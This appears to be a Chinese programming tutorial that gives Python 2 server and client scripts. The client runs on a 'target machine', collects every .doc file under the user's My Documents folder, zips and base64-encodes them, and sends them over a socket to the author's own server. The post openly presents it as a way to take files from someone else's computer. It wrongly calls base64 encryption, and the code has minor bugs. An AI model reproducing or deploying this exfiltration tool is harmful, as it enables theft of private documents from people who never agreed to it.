本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下：

该程序实现了，把目标机器的某个目录（可控）的所有的某种类型文件（可控）全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密，以及decode(infile,outfile)解密，这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py，然后client.py放到目标机器，然后python client.py即可
4、本程序设置了获取doc文件，修改extName可以获取其它类型文件

服务器端程序：
复制代码 代码如下:# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 6553500 #6M
    key = 'ouyang'
    timeout = 5
    dicName = "ouyang\\"
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ss.bind((HOST,PORT))
        ss.listen(5)
        print "wating for conntecting..."
        while True:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send("200 Connected!")
                #获取加密数据
                encode_data = cs.recv(BUF_SIZE)
                #把数据写到out.zip文件
                tmpfile = open('out.tmp','wb')
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except IOError,e:
                    print 'Strange error creating IOError:%s' % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2进制 解密 decode(infile,outfile)
                tmpfile = open('out.tmp','rb')
                outfile = open('out.zip','wb')
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                #打开zip文件
                zfile = zipfile.ZipFile('out.zip','r')
                #创建一个文件夹来存放获取的zip文件
                if not os.path.exists(dicName):
                    os.mkdir(dicName)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicName+os.path.basename(f),'w+b')
                    file.write(data)
                    file.close()
                print "finished!!!"
                zfile.close()
                #后续处理 删除临时文件
                os.remove('out.tmp')
                cs.close()
            except socket.error, e: 
                print 'Strange error creating socket:%s' % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print 'Strange error creating socket:%s' % e 
        ss.close()
if __name__=='__main__':
    main()

客户端程序：
复制代码 代码如下:# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))     
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))
def main():      
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 65535
    key = 'ouyang'
    dicName = "C:\Documents and Settings\Administrator\我的文档"
    extName = '.doc'
    #遍历搜索我的文档的doc类型
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print "文件处理错误: " % e
        sys.exit(-1)
    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        cs.connect((HOST,PORT))
        print cs.recv(BUF_SIZE)
        #压缩成zip文件
        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
        for f in filelist:
            zfile.write(f)
        zfile.close()
        #base 2进制 加密 encode(infile,outfile)
        infile = open('in.zip','rb')
        tmpfile = open('in.tmp','wb')
        base64.encode(infile,tmpfile)
        infile.close()
        tmpfile.close()
        #send
        tmpfile = open('in.tmp','rb')
        cs.send(tmpfile.read())
        tmpfile.close()
        #后续处理 删除中间文件
        os.remove('in.tmp')
        cs.close()
    except socket.error ,e:
        print 'socket 出错啦：' % e
        cs.close()
if __name__=='__main__':
    main()
